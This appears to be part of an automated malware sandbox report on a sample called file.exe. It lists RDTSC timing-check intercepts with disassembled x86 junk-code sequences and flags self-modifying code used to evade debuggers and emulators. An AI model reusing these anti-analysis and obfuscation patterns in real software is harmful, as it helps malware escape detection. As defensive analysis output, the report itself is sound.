Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0273 second address: 4CE02C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov ax, 931Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov edx, 2044A98Ch 0x00000013 push ebx 0x00000014 pushfd 0x00000015 jmp 00007F367D44DA10h 0x0000001a sub ax, C9A8h 0x0000001f jmp 00007F367D44DA0Bh 0x00000024 popfd 0x00000025 pop ecx 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F367D44DA0Fh 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02C3 second address: 4CE02DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02DE second address: 4CE030A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 jmp 00007F367D44DA0Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F367D44DA15h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002A9 second address: 4D002B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367CBFD3DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002B8 second address: 4D002BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002BC second address: 4D002FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov edi, 345137B6h 0x0000000f push ebx 0x00000010 pushfd 0x00000011 jmp 00007F367CBFD3DAh 0x00000016 adc ch, FFFFFFA8h 0x00000019 jmp 00007F367CBFD3DBh 0x0000001e popfd 0x0000001f pop eax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F367CBFD3E2h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002FE second address: 4D003B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F367D44DA11h 0x00000009 jmp 00007F367D44DA0Bh 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F367D44DA18h 0x00000015 jmp 00007F367D44DA15h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ecx 0x0000001f jmp 00007F367D44DA0Eh 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007F367D44DA11h 0x0000002b mov cx, F927h 0x0000002f popad 0x00000030 xchg eax, ecx 0x00000031 pushad 0x00000032 mov bl, ah 0x00000034 push edi 0x00000035 mov ax, 7A17h 0x00000039 pop eax 0x0000003a popad 0x0000003b mov eax, dword ptr [76FB65FCh] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push esi 0x00000044 pop ebx 0x00000045 pushfd 0x00000046 jmp 00007F367D44DA10h 0x0000004b and si, AEB8h 0x00000050 jmp 00007F367D44DA0Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003B0 second address: 4D003C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367CBFD3E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003C8 second address: 4D003F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F367D44DA15h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003F2 second address: 4D0041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F36EEE30935h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F367CBFD3DDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0041C second address: 4D00447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5BA2h 0x00000007 mov bx, 8FEEh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F367D44DA17h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00447 second address: 4D0044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0044B second address: 4D00451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00451 second address: 4D00487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, al 0x00000005 jmp 00007F367CBFD3E7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor eax, dword ptr [ebp+08h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F367CBFD3E2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00487 second address: 4D0049F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0049F second address: 4D004A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D004A3 second address: 4D004A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D005D9 second address: 4D005DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D005DF second address: 4D005E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D005E4 second address: 4D00609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F367CBFD3E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB002C second address: 4CB003B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB003B second address: 4CB0071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F367CBFD3E1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0071 second address: 4CB0075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0075 second address: 4CB007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB007B second address: 4CB00CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 call 00007F367D44DA0Dh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov dx, 7F60h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F367D44DA0Fh 0x0000001e and si, 718Eh 0x00000023 jmp 00007F367D44DA19h 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00CA second address: 4CB00E9 instructions: 0x00000000 rdtsc 0x00000002 mov ax, E497h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 push ebp 0x00000014 pushad 0x00000015 movzx ecx, dx 0x00000018 push eax 0x00000019 push edx 0x0000001a mov edi, 39F6BF38h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00E9 second address: 4CB0149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], ecx 0x00000008 jmp 00007F367D44DA0Ah 0x0000000d xchg eax, ebx 0x0000000e jmp 00007F367D44DA10h 0x00000013 push eax 0x00000014 jmp 00007F367D44DA0Bh 0x00000019 xchg eax, ebx 0x0000001a jmp 00007F367D44DA16h 0x0000001f mov ebx, dword ptr [ebp+10h] 0x00000022 jmp 00007F367D44DA10h 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0149 second address: 4CB014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB014D second address: 4CB016A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB016A second address: 4CB01D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F367CBFD3E7h 0x00000011 sbb ax, EA7Eh 0x00000016 jmp 00007F367CBFD3E9h 0x0000001b popfd 0x0000001c mov bx, cx 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 jmp 00007F367CBFD3DAh 0x00000026 mov esi, dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov dx, F390h 0x00000030 mov bx, B8BCh 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01D6 second address: 4CB02D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F367D44DA10h 0x00000009 add ecx, 0A9987D8h 0x0000000f jmp 00007F367D44DA0Bh 0x00000014 popfd 0x00000015 mov ah, 9Eh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F367D44DA10h 0x00000020 mov dword ptr [esp], edi 0x00000023 jmp 00007F367D44DA10h 0x00000028 test esi, esi 0x0000002a jmp 00007F367D44DA10h 0x0000002f je 00007F36EF6CBDE4h 0x00000035 pushad 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F367D44DA0Ch 0x0000003d sub cl, FFFFFFC8h 0x00000040 jmp 00007F367D44DA0Bh 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F367D44DA18h 0x0000004c or si, 8E28h 0x00000051 jmp 00007F367D44DA0Bh 0x00000056 popfd 0x00000057 popad 0x00000058 jmp 00007F367D44DA18h 0x0000005d popad 0x0000005e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushfd 0x00000069 jmp 00007F367D44DA0Dh 0x0000006e xor ax, E4F6h 0x00000073 jmp 00007F367D44DA11h 0x00000078 popfd 0x00000079 movzx ecx, bx 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02D2 second address: 4CB039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F36EEE7B721h 0x0000000f jmp 00007F367CBFD3E0h 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 pushad 0x00000018 jmp 00007F367CBFD3DEh 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 or edx, dword ptr [ebp+0Ch] 0x00000024 pushad 0x00000025 mov ax, bx 0x00000028 jmp 00007F367CBFD3DFh 0x0000002d popad 0x0000002e test edx, 61000000h 0x00000034 jmp 00007F367CBFD3E6h 0x00000039 jne 00007F36EEE7B71Fh 0x0000003f pushad 0x00000040 mov bx, ax 0x00000043 mov si, 07D9h 0x00000047 popad 0x00000048 test byte ptr [esi+48h], 00000001h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F367CBFD3E1h 0x00000055 sub ah, 00000026h 0x00000058 jmp 00007F367CBFD3E1h 0x0000005d popfd 0x0000005e pushfd 0x0000005f jmp 00007F367CBFD3E0h 0x00000064 sub ch, FFFFFFC8h 0x00000067 jmp 00007F367CBFD3DBh 0x0000006c popfd 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB039D second address: 4CB03E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 movsx edi, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F36EF6CBCFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ecx 0x00000017 pushfd 0x00000018 jmp 00007F367D44DA0Bh 0x0000001d sbb cx, 25BEh 0x00000022 jmp 00007F367D44DA19h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB03E0 second address: 4CB03E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB03E6 second address: 4CB03EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0896 second address: 4CA0929 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F367CBFD3E4h 0x00000015 sub ecx, 27451A68h 0x0000001b jmp 00007F367CBFD3DBh 0x00000020 popfd 0x00000021 push ecx 0x00000022 mov ecx, edi 0x00000024 pop edx 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F367CBFD3DEh 0x0000002c push eax 0x0000002d jmp 00007F367CBFD3DBh 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov si, bx 0x00000039 pushfd 0x0000003a jmp 00007F367CBFD3E7h 0x0000003f xor al, FFFFFFBEh 0x00000042 jmp 00007F367CBFD3E9h 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0929 second address: 4CA096E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F367D44DA0Eh 0x0000000f push eax 0x00000010 jmp 00007F367D44DA0Bh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F367D44DA10h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA096E second address: 4CA0972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0972 second address: 4CA0978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0978 second address: 4CA097E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA097E second address: 4CA0A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov cx, F6FDh 0x00000013 pushfd 0x00000014 jmp 00007F367D44DA0Ah 0x00000019 xor esi, 2ABB3BD8h 0x0000001f jmp 00007F367D44DA0Bh 0x00000024 popfd 0x00000025 popad 0x00000026 sub ebx, ebx 0x00000028 pushad 0x00000029 movsx edi, cx 0x0000002c mov cx, B7DDh 0x00000030 popad 0x00000031 test esi, esi 0x00000033 jmp 00007F367D44DA18h 0x00000038 je 00007F36EF6D33ADh 0x0000003e jmp 00007F367D44DA10h 0x00000043 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F367D44DA0Eh 0x00000051 add ax, 3FC8h 0x00000056 jmp 00007F367D44DA0Bh 0x0000005b popfd 0x0000005c movzx ecx, di 0x0000005f popad 0x00000060 mov ecx, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A30 second address: 4CA0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A38 second address: 4CA0A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367D44DA0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A47 second address: 4CA0AB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F36EEE82D2Ah 0x0000000e jmp 00007F367CBFD3E5h 0x00000013 test byte ptr [76FB6968h], 00000002h 0x0000001a jmp 00007F367CBFD3DEh 0x0000001f jne 00007F36EEE82D0Dh 0x00000025 jmp 00007F367CBFD3E0h 0x0000002a mov edx, dword ptr [ebp+0Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push edi 0x00000031 pop eax 0x00000032 jmp 00007F367CBFD3E9h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0AB7 second address: 4CA0AE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov si, D153h 0x0000000f mov bl, ah 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 mov ax, dx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b movzx ecx, bx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0AE1 second address: 4CA0B17 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 5EBEDD16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, esi 0x00000010 pushfd 0x00000011 jmp 00007F367CBFD3E2h 0x00000016 xor eax, 3F7C9938h 0x0000001c jmp 00007F367CBFD3DBh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B17 second address: 4CA0B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B1D second address: 4CA0B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B21 second address: 4CA0B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B25 second address: 4CA0B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F367CBFD3E3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B43 second address: 4CA0B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B49 second address: 4CA0B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B4D second address: 4CA0B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F367D44DA0Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0BE4 second address: 4CA0C31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F367CBFD3DFh 0x00000009 sub esi, 674FA9DEh 0x0000000f jmp 00007F367CBFD3E9h 0x00000014 popfd 0x00000015 jmp 00007F367CBFD3E0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C31 second address: 4CA0C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C35 second address: 4CA0C52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C52 second address: 4CA0C58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C58 second address: 4CA0C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C5C second address: 4CA0C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F367D44DA12h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C7A second address: 4CA0C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C80 second address: 4CA0C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E06 second address: 4CB0EC5 instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F367CBFD3E4h 0x0000000d xor si, A048h 0x00000012 jmp 00007F367CBFD3DBh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F367CBFD3E2h 0x00000022 sub ax, E2A8h 0x00000027 jmp 00007F367CBFD3DBh 0x0000002c popfd 0x0000002d mov si, 259Fh 0x00000031 popad 0x00000032 pushfd 0x00000033 jmp 00007F367CBFD3E4h 0x00000038 adc ch, 00000008h 0x0000003b jmp 00007F367CBFD3DBh 0x00000040 popfd 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F367CBFD3E2h 0x0000004c sbb ah, 00000068h 0x0000004f jmp 00007F367CBFD3DBh 0x00000054 popfd 0x00000055 call 00007F367CBFD3E8h 0x0000005a pop ecx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0EC5 second address: 4CB0ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 5445EB9Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0ECF second address: 4CB0F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov si, 345Bh 0x0000000d jmp 00007F367CBFD3E0h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ecx, ebx 0x0000001a pushfd 0x0000001b jmp 00007F367CBFD3E9h 0x00000020 and si, CC46h 0x00000025 jmp 00007F367CBFD3E1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0F26 second address: 4CB0F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69EB36 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69EBBF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 837EA6 instructions caused by: Self-modifying code
